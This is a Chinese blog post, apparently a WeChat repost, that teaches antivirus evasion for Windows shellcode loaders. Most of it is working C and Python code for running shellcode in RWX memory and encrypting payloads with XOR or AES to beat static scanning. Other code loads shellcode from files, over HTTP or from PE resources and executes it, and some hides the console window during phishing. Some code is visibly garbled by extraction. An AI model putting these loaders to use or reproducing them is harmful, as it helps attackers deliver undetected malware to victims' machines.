bypass 1-初识and静态处理

admin 2024年1月31日21:09:17评论15 views字数 18270阅读60分54秒阅读模式

本公众号技术文章仅供参考!
文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

没有新的内容,经过后台某个老哥的提醒,这里重新把之前发的整理了一下,去掉了一些东西,并且在后方加上了参考文章或项目的链接,该文章的代码均是经过亲身研究,最后完善可用的,尤其是部分技术实际情况下会遇到的种种情况,这里也做了详细解释和说明避免师傅们走弯路,节省时间。

加载Shellcode的常见方式1. 函数指针2. 指针执行3. 申请动态内存4. 内联汇编5. 基于SEH异常处理过静态--shellcode加密1. XOR2. AES3. RSA4. 工具推荐过静态--shellcode分离方法1. 从文件中读取shellcode2. 通过http读取shellcode3. 从PE资源加载并执行shellcode去黑框1. 设置子系统2. FreeConsole3. ShowWindows

加载Shellcode的常见方式

下面列举了在C语言中,我们加载shellcode的常见方式,部分方式没有给出,涉及一些原理后续会出单独的文章提到,这里只介绍几种常用的,更多方式请看文章后边的参考链接

1. 函数指针

这个是最便捷的了,但是杀软检测也是比较厉害

首先我们要了解一个东西叫函数指针,有了它之后代码会变得很灵活,多用于回调函数或传参,下面是函数指针的一个demo,先简单了解它的用法

#include <stdio.h>

void (*fun1)(void);

void demo()
{
    printf("函数调用成功n");
}

int main()
{
    fun1 = demo;
    fun1();
}

我们在使用的时候通常是下面的代码

//void(*)() 定义了一个无参无返回值的函数指针
//exec的地址通常指向含有可执行权限空间里的shellcode
//(void(*)())exec   代表一个指向exec,无返回值且不接受任何参数的函数指针
//((void(*)())exec)() 函数指针进行调用,执行exec对应地址的代码
((void(*)())exec)();

2. 指针执行

我们了解了如何使用函数指针,那么我们的通常可以采用最简单的指针执行法,代码如下

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] = "shellcode";

int main()
{
    ((void(*)(void)) & buf)();
}

实际上我们的代码并不会执行成功,因为我们的buf数组在全局声明,所以它存在静态存储区也就是.data段,而.data段是没有可执行权限的所以程序一定不会执行成功,我们可以利用VirtualQuery函数来查看对应位置的权限信息,如下图,它只有读写权限。

bypass 1-初识and静态处理
image-20240122214246508

所以如果我们想执行,需要将其位置的权限改变,变成可读可写可执行

VirtualProtect

  • 功能:更改了内存区域的访问权限

  • 返回值:BOOL类型,表示是否成功

BOOL VirtualProtect(
  LPVOID lpAddress,    // 内存区域的起始地址
  SIZE_T dwSize,       // 内存区域的大小
  DWORD flNewProtect,  // 新的访问权限
  PDWORD lpflOldProtect// 旧的访问权限
)
;

最后代码如下

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] = "shellcode";

int main()
{

    DWORD oldProtect;
    VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
    ((void(*)(void)) & buf)();
}

3. 申请动态内存

这种方式可以说是最经典的了,先申请一块可读写可执行的内存,然后分配内存,然后执行,最后也是使用的函数指针的方式去调用shellcode

#include <Windows.h>
#include <stdio.h>

int main()
{
    char shellcode[] = "你的shellcode";

    void* exec = VirtualAlloc(0sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);

    ((void(*)())exec)();
}

这里面用到两个函数VirtualAllocmemcpy

VirtualAlloc

  • 功能:用于在进程的虚拟地址空间中分配一块内存区域

  • 返回值:如果函数调用成功,它会返回分配内存区域的起始地址。

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,   //指定欲分配的内存区域的首地址。可以传入 NULL 来让系统自动选择一个地址。
  [in]           SIZE_T dwSize,        //指定欲分配的内存区域的大小,单位是字节。
  [in]           DWORD  flAllocationType,  //指定内存分配的类型,通常使用的值为MEM_COMMIT,表示将分配的内存提交,使之变为可用状态。
  [in]           DWORD  flProtect    //设置内存区域的访问保护属性,通常是PAGE_EXECUTE_READWRITE,可读可写可执行
)
;

memcpy用于在内存之间拷贝指定数量的字节,三个参数分别是目标地址指针、源地址指针、需要拷贝的字节数。

4. 内联汇编

代码如下,其中我们在2指针执行的时候说了,全局的shellcode存在静态存储区也就是.data段,而#pragma comment(linker, "/section:.data,RWE")这行代码的作用也是将该代码段的权限变成可读可写可执行,跟VirtualProtect达到类似作用,不过一个是编译器指令,一个是Windows API函数

==注意:==

内联汇编只支持x86,不支持x64,所以准备的shellcode一定要是x86的,并且编译的版本也选x86版本

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char shellcode[] = "shellcode";
void main()
{
    //内联汇编
    __asm
    {
            mov eax, offset shellcode  //将shellcode变量的地址存储到寄存器eax中。offset关键字用于获取变量的地址。
            jmp eax                    //跳转到eax寄存器中存储的地址处执行代码
    }
}

5. 基于SEH异常处理

SEH(Structured Exception Handling,结构化异常处理)是Windows操作系统中的一种错误处理和异常处理机制,对于有编程经验的人来说肯定不陌生java中的try catch或python中的try  except

用法如下所示:

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

int b = 0;

unsigned char buf[] = "shellcode";

int ExceptFilter()
{
    b = 1// 修改b的值为1,以防止无限循环的异常处理
    ((void(*)(void)) & buf)(); 
    //EXCEPTION_EXECUTE_HANDLER 标志用于指定在异常处理程序执行完毕后继续执行引发异常的指令。
    return EXCEPTION_EXECUTE_HANDLER;

}

int main()
{

    _try // 尝试执行可能引发异常的代码块
    {
        int c = 1 / b; // 故意执行除零操作以触发异常
    }

        _except(ExceptFilter()) { // 当异常发生时,调用ExceptFilter函数处理

    };

}

过静态--shellcode加密

对于静态扫描,我们生成的payload落地就会被杀,所以对其进行加密处理是必要的一环

1. XOR

先用python写个加密脚本,其中key是6-16位的随机字符串

import random

shellcode = b'x48x81xECx00'

# 生成随机字符串
def generate_random_key(length):
    key = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    for _ in range(length):
        key += random.choice(characters)
    return key.encode()

# 异或加密函数
def xor_encrypt(code, key):
    encrypted_code = bytearray()
    key_length = len(key)
    for i in range(len(code)):
        encrypted_code.append(code[i] ^ key[i % key_length])
    return bytes(encrypted_code)

# 生成6-16长度的随机字符串
key_length = random.randint(616)
key = generate_random_key(key_length)
# 进行异或加密
encrypted_code = xor_encrypt(shellcode, key)


print("随机生成的密钥:", key.decode())

#以16进制的形式输出加密后的结果
str_encode = ''
for byte in encrypted_code:
    str_encode += ('\x%02x' % byte)
print("加密后的结果为:",str_encode)

到C语言中的思路就是先解密然后给到内存执行就可以,下方代码改变了策略,并没有申请内存而是直接修改shellcode所在内存的保护属性,直接改成可读可写可执行

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
)
;

VirtualProtect的四个参数:

lpAddress:指向要更改保护属性的内存区域的起始地址的指针。

dwSize:要更改保护属性的内存区域的大小(以字节为单位)。

flNewProtect:新的保护属性。

lpflOldProtect:一个指向变量的指针,用于接收原始的保护属性。

前三个参数很简单,这里说一下第四参数,因为我们要修改一个内存部分的保护属性,第四个参数相当于一个备份,它存了旧的保护属性,需要注意的是就算我们用不到旧的保护属性,也不要将该值设置为NULL,否则会导致函数执行失败。

可以看到这里代码执行后它的值是4也就代表原来的保护属性是可读(可读4 可写2 可执行1)

bypass 1-初识and静态处理
image-20240101184527391

C语言代码如下

#include <Windows.h>
#include<stdio.h>


unsigned char encryptedShellcode[] = "x25xd0xab";

int main() {

    char key[] = "";
    // 定义一个与加密shellcode大小相同的数组用于存储解密后的shellcode
    unsigned char shellcode[sizeof encryptedShellcode];


    int keylength = strlen(key);
    // 遍历加密的shellcode,并解密,将结果存储在shellcode数组中
    for (int i = 0; i < sizeof encryptedShellcode; i++) {
        shellcode[i] = encryptedShellcode[i] ^ key[i % keylength];
        printf("\x%x", shellcode[i]);
    }


    // 声明一个DWORD变量用于存储旧的内存保护属性
    DWORD dwOldPro = 0;
    // 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
    BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // 回调函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)(char *)shellcode, 00);
}

2. AES

同样的除了简单的XOR外,我们还可以采用其它的加密手段,对称加密中AES比较常用,下面我们尝试用AES加密我们的shellcode并执行,注意python3这里使用Crypto函数库有点坑,最简单的解决办法就是确保已经卸载cryptopycrypto,然后安装pycryptodome

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

# 声明变量
code = b'Hello, world!'  # 待加密的数据
key = b'0123456789abcdef'  # 加密密钥,必须为16字节
iv = b'0123456789abcdef'  # 加密向量,必须为16字节

# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(code, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)
# 将加密结果转换为 Base64 格式
base64_encrypt = base64.b64encode(encrypt).decode()

# 显示加密结果
print('加密结果(Base64):', base64_encrypt)

C语言代码这里直接调用现成的项目了

https://github.com/kokke/tiny-AES-c

把这三个代下下来

bypass 1-初识and静态处理
image-20240101211436517

分别添加到本地项目的源文件和头文件中

bypass 1-初识and静态处理
image-20240101212118839

解密demo如下,要注意一点,就是我们原本的字符串长度是16,但是我们通过aes加密了,填充的IV长度为16,所以生成加密后的字节是32,然后我们在C语言一开始code[]的长度是32,解密后字符依然存到了code所在内存处,不过解密后我们的数据长度又变回了16,所以只占了code空间的一半

#include<stdio.h>
#include "aes.hpp"

int main() {

    unsigned char code[] = "xe1x56xcfxa2xcfx65x04xe7x6ax75xc7x84x5cx74x0fxe2xc6x49xacx01xc9x89x70x57x66x1ax77x60x38xfdxacx52";

    unsigned char key[] = "0123456789abcdef";
    unsigned char iv[] = "0123456789abcdef";


    // 声明aes 结构体
    struct AES_ctx ctx;
    // 初始化
    AES_init_ctx_iv(&ctx, key, iv);
    // 解密,解密后的内容依然存在code对应内存处
    AES_CBC_decrypt_buffer(&ctx, code, sizeof(code));
}

最后成品代码如下

python

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

# 生成随机字符串
def generate_random_key(length):
    key = ""
    characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    for _ in range(length):
        key += random.choice(characters)
    return key.encode()


shellcode = b'x48x81xECx00'  # 待加密的数据

key = generate_random_key(16)
iv = generate_random_key(16)

print('密钥为:',key)
print('IV为:',iv)

# 创建 AES 加密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 对数据进行填充
padded_data = pad(shellcode, AES.block_size)
# 加密数据
encrypt = cipher.encrypt(padded_data)


encrypted_shellcode_string = ''
for byte in encrypt:
    encrypted_shellcode_string += ("\x%02x" % byte)
print('加密结果为:',encrypted_shellcode_string)

C语言代码

#include<stdio.h>
#include "aes.hpp"
#include<windows.h>

int main() {

    unsigned char shellcode[] = "x9cx0ex92x36x7e";

    unsigned char key[] = "28T4BN6Z5EtPSF15";
    unsigned char iv[] = "ukGlewQtQJoYAQjU";


    // 声明aes 结构体
    struct AES_ctx ctx;
    // 初始化
    AES_init_ctx_iv(&ctx, key, iv);
    // 解密,解密后的内容依然存在code对应内存处
    AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof(shellcode));


    DWORD dwOldPro = 0;
    // 更改解密后的shellcode所在内存区域的保护属性,改为可读可写可执行
    BOOL ifExec = VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro);
    // 回调函数执行解密后的shellcode
    EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)shellcode, 00);

}

3. RSA

由于RSA的加密特性,加密太长的值的时候很不方便,还需要分块加密,最后的结果也很大,不过也可以通过AES和RSA的混合,用RSA加密AES的秘钥,这里就不举具体例子了,下面给一个C语言调用RSA的demo

首先去这个网站,下载openssl 1..1 https://slproweb.com/products/Win32OpenSSL.html,然后安装

bypass 1-初识and静态处理
image-20240106104353308

在项目中引用openssl安装完的头文件和lib库

bypass 1-初识and静态处理
image-20240106104455200
bypass 1-初识and静态处理
image-20240106104543149

python生成公钥和私钥

from Crypto.PublicKey import RSA

# 生成RSA密钥对
key = RSA.generate(2048)

# 保存私钥为PEM格式(命名为pri.key)
private_key = key.export_key().decode()
pri_lines = private_key.splitlines()
for i in pri_lines:
    print('"'+i+'\n"')




print('nnn----------分割线-------------nnn')


# 保存公钥为PEM格式(命名为pub.pem)
public_key = key.publickey().export_key().decode()
pub_lines = public_key.splitlines()
for i in pub_lines:
    print('"'+i+'\n"')

代码如下

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/applink.c>

#pragma comment(lib, "libcrypto.lib")
#pragma comment(lib, "libssl.lib")

int main() {
    // 硬编码的公钥和私钥
    const char* pri_key_data = "-----BEGIN RSA PRIVATE KEY-----n"
        "MIIEowIBAAKCAQEApl67Jh2KsDstGXsDDRIR8A2r1c7fyTFFn2vE7LiVPtek1lekn"
           "......"
        "S8QTsa2w/uLGNjIMFy58Atic1UYUA021152mZZZkfvz1Z4/cdiztn"
        "-----END RSA PRIVATE KEY-----n";

    const char* pub_key_data = "-----BEGIN PUBLIC KEY-----n"
        "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApl67Jh2KsDstGXsDDRIRn"
        "......"
        "KQIDAQABn"
        "-----END PUBLIC KEY-----n";

    BIO* pri_mem = BIO_new_mem_buf((void*)pri_key_data, -1);
    RSA* rsa_pri = PEM_read_bio_RSAPrivateKey(pri_mem, NULLNULLNULL);
    BIO_free(pri_mem);

    BIO* pub_mem = BIO_new_mem_buf((void*)pub_key_data, -1);
    RSA* rsa_pub = PEM_read_bio_RSA_PUBKEY(pub_mem, NULLNULLNULL);
    BIO_free(pub_mem);

    // 加密示例
    const char* plain_text = "Hello, RSA!";
    int plain_len = strlen(plain_text);

    // 计算加密后的长度
    int enc_len = RSA_size(rsa_pub);
    unsigned char* enc_data = (unsigned char*)malloc(enc_len);

    // 进行加密操作
    int ret = RSA_public_encrypt(plain_len, (const unsigned char*)plain_text, enc_data, rsa_pub, RSA_PKCS1_PADDING);
    if (ret == -1) {
        printf("Failed to encrypt.n");
        RSA_free(rsa_pri);
        RSA_free(rsa_pub);
        free(enc_data);
        return -1;
    }

    printf("Encrypted data: ");
    for (int i = 0; i < ret; i++) {
        printf("%02x ", enc_data[i]);
    }
    printf("n");

    // 解密示例
    unsigned char* dec_data = (unsigned char*)malloc(plain_len);

    // 进行解密操作
    ret = RSA_private_decrypt(enc_len, enc_data, dec_data, rsa_pri, RSA_PKCS1_PADDING);
    if (ret == -1) {
        printf("Failed to decrypt.n");
        RSA_free(rsa_pri);
        RSA_free(rsa_pub);
        free(enc_data);
        free(dec_data);
        return -1;
    }

    printf("Decrypted data: %sn", dec_data);

    // 释放资源
    RSA_free(rsa_pri);
    RSA_free(rsa_pub);
    free(enc_data);
    free(dec_data);

    return 0;
}

4. 工具推荐

这里推荐工具在于辅助(此处参考了TIDE的推荐免杀工具的文章),如果想直接通过工具利用就生成免杀马,概率不高而且估计就算上线也有很大几率被杀

在线混淆地址:https://zerosum0x0.blogspot.com/2017/08/obfuscatedencrypted-cc-online-string.html

多态二进制编码器:https://github.com/EgeBalci/sgn

https://github.com/OWASP/ZSC

https://mp.weixin.qq.com/s/LfuQ2XuD7YHUWJqMRUmNVA

https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ

https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA

https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

过静态--shellcode分离方法

1. 从文件中读取shellcode

先了解几个API函数

CreateFileA

  • 功能:创建或者打开文件或 I/O 设备。

  • 返回值:当打开文件成功则返回对应句柄,如果失败则返回INVALID_HANDLE_VALUE

HANDLE CreateFileA(
      LPCSTR                lpFileName, // 要打开的文件的名字,注意是宽字节
      DWORD                 dwDesiredAccess, // 允许对设备的访问权限,GENERIC_READ  为读权限
      DWORD                 dwShareMode,    // 表示共享模式,用于指定其他进程对同一文件的访问权限,0为不共享
      LPSECURITY_ATTRIBUTES lpSecurityAttributes,  // 安全描述符,这里直接设置为NULL就可以
      DWORD                 dwCreationDisposition, // 要对存在或不存在的文件或设备执行的操作,动作 OPEN_EXISTING 表示打开已存在文件
      DWORD                 dwFlagsAndAttributes,    // 用于指定文件或设备对象的属性通常用于创建文件时使用该属性,属性 FILE_ATTRIBUTE_NORMAL  为默认属性
      HANDLE                hTemplateFile    // 默认为 NULL 即可
)
;

ReadFile

  • 功能:从文件中读取数据

  • 返回值:如果函数成功,则返回值为非零 (TRUE) 。如果函数失败或正在异步完成,则返回值为零 (FALSE) 。

BOOL ReadFile(
  HANDLE       hFile,    // 文件句柄
  LPVOID       lpBuffer,        // 接数据用的buffer
  DWORD        nNumberOfBytesToRead,    // 要读取的字节数
  LPDWORD      lpNumberOfBytesRead,        // 实际读取的字节数
  LPOVERLAPPED lpOverlapped // OVERLAPPED 结构 一般设为 NULL
)
;
#include <stdio.h>
#include <windows.h>

int main()
{
    DWORD dwSize;
    DWORD dwReadSize;
    HANDLE hFileNew;
    //文件路径
    LPCWSTR file = L"C:\Black\calc.bin";
    //打开文件,以只读方式,读取权限对其它进程共享
    hFileNew = CreateFile(file, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    //判断是否成功打开文件
    if (hFileNew == INVALID_HANDLE_VALUE)
    {
        return 0;
    }
    //获取文件大小
    dwSize = GetFileSize(hFileNew, NULL);
    //开辟空间
    void* exec = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    //将文件读取到开辟的空间处
    ReadFile(hFileNew, exec, dwSize, &dwReadSize, NULL);
    //函数指针调用
    ((void(*)())exec)();
}

2. 通过http读取shellcode

C语言中,如果想实现对应网络资源对应的功能,就要用到wininet

WinInet(Windows Internet)是 Microsoft Windows 操作系统中的一个 API 集,用于提供对  Internet 相关功能的支持。它包括了一系列的函数,使得 Windows 应用程序能够进行网络通信、处理 HTTP 请求、FTP  操作等。WinInet 提供了一套完整的网络通信工具,使得开发者能够轻松地构建支持网络功能的应用程序,涵盖了从简单的 HTTP  请求到复杂的文件传输等多种网络操作。

#include <wininet.h>
#pragma comment(lib, "wininet.lib")

InternetOpenA:

  • 功能:用于初始化一个应用程序的对网络资源的访问。

  • 返回值:如果函数调用成功,将返回一个类型为 HINTERNET 的句柄。这个句柄可以用于后续的网络操作。

HINTERNET InternetOpenA(
  [in] LPCSTR lpszAgent,   //UA头的值
  [in] DWORD  dwAccessType,   //访问互联网的方式INTERNET_OPEN_TYPE_DIRECT直接连接,INTERNET_OPEN_TYPE_PROXY:通过代理服务器连接到互联网。
  [in] LPCSTR lpszProxy,    //代理服务器地址,我们不用代理访问模式,这里可以设置为NULL
  [in] LPCSTR lpszProxyBypass,    //不走代理的地址
  [in] DWORD  dwFlags        //指定其他标志来控制函数的行为,正常访问直接为设置为NULl即可
)
;

使用InternetOpenA初始化并获得句柄后,我们想要发送http请求,可以有两种方式,一种是使用InternetOpenUrlA,另一种是使用InternetConnectAHttpOpenRequestAHttpSendRequestA的组合,后者更细致,前者更方便,所以我们这里直接用InternetOpenUrlA

InternetOpenUrlA

  • 功能:用于打开一个指定的URL并返回一个指向URL资源的句柄

  • 返回值:如果函数调用成功,则返回指向URL资源的有效句柄(HINTERNET类型)。

HINTERNET InternetOpenUrlA(
  [in] HINTERNET hInternet,  //一个已打开的句柄,用于表示与Internet相关的会话。通常使用InternetOpenA函数返回的句柄作为参数.
  [in] LPCSTR    lpszUrl,    //要打开的URL字符串
  [in] LPCSTR    lpszHeaders,    //用于指定请求的头部信息。可以为空字符串或NULL。
  [in] DWORD     dwHeadersLength,    //lpszHeaders参数的长度,如果指定了头部信息,则需要指定其长度;如果没有指定,则传入0。
  [in] DWORD     dwFlags,        //用于指定打开URL的行为和选项,我们这里用到了INTERNET_FLAG_RELOAD:强制重新下载URL资源,忽略缓存。
  [in] DWORD_PTR dwContext    //一个用户定义的值,可以用于传递上下文信息。我们不用回调函数,这里设置为NULL即可
)
;

InternetReadFile

  • 功能:用于读取通过HTTP或FTP协议打开的URL资源。

  • 返回值:如果函数调用成功,则返回非零值(TRUE)。

BOOL InternetReadFile(
  [in]  HINTERNET hFile,  //指向要读取的URL资源的句柄。
  [out] LPVOID    lpBuffer,     //指向用于接收读取数据的缓冲区的指针。
  [in]  DWORD     dwNumberOfBytesToRead,    //要读取的字节数。
  [out] LPDWORD   lpdwNumberOfBytesRead        //指向一个DWORD类型的变量,表示实际读取的字节数。
)
;

完整代码:

#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")

int main()
{
    const char* host = "http://127.0.0.1/calc.bin";
    const int payload_len = 369;

    HINTERNET session, con;
    void* exec = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    session = InternetOpenA("User Agent", INTERNET_OPEN_TYPE_DIRECT, NULLNULLNULL);
    con = InternetOpenUrlA(session, "http://127.0.0.1/calc.bin"NULL0, INTERNET_FLAG_RELOAD, 0);

    if (con != NULL)
    {
        DWORD nread;
        InternetReadFile(con, exec, payload_len, &nread);
        ((void(*)())exec)();
    }

    InternetCloseHandle(con);
    InternetCloseHandle(session);

    return 0;

3. 从PE资源加载并执行shellcode

我们可以将shellcode转换成一个bin文件,再将这个bin文件以资源的形式加到项目中,在代码中读取并使用

  1. 首先在资源文件处右键,添加资源

bypass 1-初识and静态处理
image-20240122200845547
  1. 选择导入,在文件导入框将右下角的文件类型改成所有文件,然后选择我们要导入的bin文件

bypass 1-初识and静态处理
image-20240122201138233
  1. 自定义一个资源类型

bypass 1-初识and静态处理
image-20240122201245861
  1. 然后我们就可以在资源视图中看到我们添加的资源了(名字为:IDR_CALC1,类型为:calc)

bypass 1-初识and静态处理
image-20240122200949505
bypass 1-初识and静态处理
image-20240122203822329

接下来就是加载资源了,我们先要了解几个函数

FindResourceA

  • 功能:根据指定的名称和类型查找资源

  • 返回值:一个指向资源的句柄(HRSRC 类型)

HRSRC FindResourceA(
  [in, optional] HMODULE hModule, //可执行模块的句柄,用于指定要搜索的模块。如果指定为 NULL,则表示搜索当前可执行文件中的资源。nhj
  [in]           LPCSTR  lpName,    //资源名称
  [in]           LPCSTR  lpType        //资源类型
)
;

SizeofResource函数用来获取资源大小,第一个参数也是模块句柄,第二个参数是资源句柄

LoadResource函数用于加载指定资源的数据,并返回指向资源数据的句柄。同样第一个参数也是模块句柄,第二个参数是资源句柄

整体代码如下:

#include <stdio.h>
#include <Windows.h>

//resource.h 是一个用于定义资源 ID 的头文件,在使用资源时,需要使用该头文件中定义的 ID 标识资源。
#include "resource.h"


int main()
{

    HRSRC shellcodeResource = FindResourceA(NULL, LPCSTR(IDR_CALC1), "calc");
    DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
    HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

    void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcodeResouceData, shellcodeSize);
    ((void(*)())exec)();

    return  0;
}

去cmd命令框

正常我们编译C语言的控制台程序,都会出现命令框,打内网还好,不过当正常钓鱼的时候需要隐藏,否则会引起对方的怀疑。

1. 设置子系统

#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")

这行代码大概意思就是告诉链接器,将程序的入口点设置为mainCRTStartup/subsystem:"Windows"部分告诉链接器将程序的子系统设置为Windows,而不是默认的控制台应用程序。这将使得程序在启动时不会显示控制台窗口,而是直接运行。

在使用VS studio进行编译控制台程序的时候,默认的入口点并不是我们的main函数,而是mainCRTStartup,如下图

bypass 1-初识and静态处理
image-20240120214711054

==注意:==

这种方法也可以通过配置编译器或修改已生成文件中的PE头内容,达到相同效果。

2. FreeConsole

FreeConsole函数是Windows API中的一个函数,用于释放当前进程的控制台窗口。

在Windows系统中,控制台窗口是一种命令行界面,可以用来输入和输出文本。当一个程序被启动时,默认情况下会分配一个控制台窗口给该程序,以便它能够与用户进行交互。

FreeConsole函数可以在运行时释放当前进程的控制台窗口,使其不再与该进程关联。这意味着程序将不再具有标准输入、输出和错误流,也无法通过控制台与用户进行交互。

FreeConsole();

3. ShowWindows

ShowWindow和FreeConsole类似,也是windows的API函数,功能是设置指定窗口的显示状态。

HWND hwndDos = GetForegroundWindows();
showWindows(hwndDos,SW_HIDE);

参考:

https://www.cnblogs.com/henry666/p/17429771.html#tid-sFpdnP

https://www.cnblogs.com/henry666/p/17429382.html

https://github.com/midisec/BypassAnti-Virus

https://luckyfuture.top/BypassAVLearning2#%E4%BB%8Eweb%E5%8A%A0%E8%BD%BDshellcode

https://www.geeksforgeeks.org/how-to-hide-a-console-window-on-startup-in-cpp/

原文始发于微信公众号(小惜渗透):bypass 1-初识and静态处理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月31日21:09:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   bypass 1-初识and静态处理https://cn-sec.com/archives/2445347.html

发表评论

匿名网友 填写信息